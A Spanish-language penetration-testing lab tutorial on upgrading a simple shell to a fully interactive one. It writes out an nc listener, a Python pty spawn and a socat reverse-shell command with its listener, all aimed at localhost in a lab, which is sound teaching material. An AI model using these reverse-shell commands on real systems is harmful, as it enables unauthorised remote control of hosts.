Introducción
En el campo de las pruebas de penetración, obtener acceso a un sistema objetivo a menudo implica obtener una shell, que puede ser una shell simple o una shell interactiva. Una shell simple tiene funcionalidades limitadas y carece de capacidades interactivas, mientras que una shell interactiva proporciona un entorno más robusto y amigable para el usuario. Este laboratorio (lab) tiene como objetivo explorar las diferencias entre las shells simples y las interactivas, y guiarte a través del proceso de actualización de una shell simple a una shell interactiva.
Comprender la shell simple
En este paso, exploraremos el concepto de una shell simple y sus limitaciones. Una shell simple se obtiene típicamente a través de vulnerabilidades de ejecución remota de comandos u otras técnicas de explotación. Si bien te permite ejecutar comandos en el sistema objetivo, carece de varias características esenciales que pueden dificultar la fase posterior a la explotación.
Para comenzar, abre una ventana de terminal y navega hasta el directorio
/home/labex/project:cd /home/labex/projectPara simular el proceso de obtener una shell simple en el sistema objetivo, debes configurar un listener en el puerto
5911utilizando el comandonc:nc -lnvp 5911Salida esperada:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911...Esta ventana de terminal actuará como el listener para la conexión de la shell simple.
Abre
otra ventana de terminaly navega hasta el directorio/home/labex/projecty deberías ver un archivoexploit.shen tu directorio principal. Este archivo simula una explotación de ejecución remota de comandos que se puede utilizar para obtener una shell simple en el sistema objetivo.cd /home/labex/projectEjecuta el script
exploit.shpara conectarte al listener en el puerto5911y obtener una shell simple en el sistema objetivo:./exploit.shSalida esperada:
labex:project/ $./exploit.sh Simulating attack... Shell has been rebound, please check the terminal which you listen to the port 5911Este script se conectará al listener en el puerto
5911y te proporcionará una shell simple en el sistema objetivo.De vuelta a la ventana de terminal donde configuraste el listener, deberías ver una conexión establecida con el sistema objetivo.
Ejemplo de salida:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696 |Puedes verificar que has obtenido una shell simple ejecutando comandos como
whoamiylsb_release -a. Sin embargo, notarás que la shell simple carece de ciertas características, como indicadores de comando adecuados, autocompletado con la tecla Tab y la capacidad de usar comandos interactivos comosuossh.
Actualizar a una shell interactiva con Python
Una forma de actualizar una shell simple a una shell interactiva es utilizando el módulo pty de Python, que te permite crear un pseudo-terminal (pts).
Primero, verifica si Python está instalado en el sistema objetivo ejecutando los siguientes comandos:
which pythonSi Python está disponible, puedes crear un pseudo-terminal utilizando el siguiente comando:
python -c 'import pty; pty.spawn("/bin/bash");'Este comando creará una nueva shell interactiva con soporte de pseudo-terminal, lo que te permitirá ejecutar comandos como
suysshsin problemas.Ejemplo de salida:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");' labex@660d6d4be229593d40db954d:~/project$Puedes verificar que la nueva shell es un pseudo-terminal ejecutando el comando
ttyy redirigiendo la salida a un archivo:tty > /home/labex/project/shell.txtVerifica el contenido del archivo
shell.txtpara ver si la shell es un pseudo-terminal (pts).cat /home/labex/project/shell.txtEjemplo de salida:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt /dev/pts/5
Sin embargo, aunque el pseudo-terminal de Python soluciona algunas limitaciones de la shell simple, todavía carece de ciertas características como autocompletado con la tecla Tab, navegación por el historial y soporte adecuado para editores de texto como vim o vi.
Nota: Puedes cerrar la sesión de la shell del pseudo-terminal escribiendo exit o presionando Ctrl+D.
Actualizar a una shell interactiva completa con Socat
Para una solución más completa, podemos utilizar la utilidad socat para obtener una shell interactiva completa con soporte para todas las características, incluyendo autocompletado con la tecla Tab, navegación por el historial y compatibilidad con editores de texto.
Primero, verifica si socat está instalado en el sistema objetivo ejecutando el siguiente comando:
which socat
Si socat está disponible, sigue estos pasos:
Abre una
nueva ventana de terminaly inicia un listener en el puerto5912utilizando el siguiente comando desocat:socat file:$(tty),raw,echo=0 tcp-listen:5912Espera a que se establezca la conexión.
En la shell simple, ejecuta el siguiente comando para conectarte al listener y actualizar la shell a una shell interactiva completa:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912De vuelta a la ventana de terminal donde configuraste el listener, deberías ver una conexión establecida con el sistema objetivo. Ahora deberías tener una shell completamente interactiva con todas las características que esperarías de una sesión de terminal normal.
Ejemplo de salida:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912 labex@660d5d5ee229593d40db9301:~$
Prueba la nueva shell interactiva utilizando comandos como cat, ssh, vim y navegando por el historial de comandos con las flechas hacia arriba y hacia abajo.
Resumen
En este laboratorio (lab), exploramos el concepto de shells simples e interactivas en el contexto de las pruebas de penetración. Aprendimos sobre las limitaciones de las shells simples y la importancia de actualizar a una shell interactiva para actividades posteriores a la explotación de manera eficiente. Cubrimos dos métodos para actualizar una shell simple: utilizar el módulo pty de Python para crear un pseudo-terminal y utilizar la utilidad socat para obtener una shell interactiva completa con todas las características necesarias. Al practicar estas técnicas, has adquirido habilidades valiosas que te ayudarán en futuros proyectos de pruebas de penetración, lo que te permitirá superar los desafíos planteados por las shells simples y optimizar tus esfuerzos posteriores a la explotación.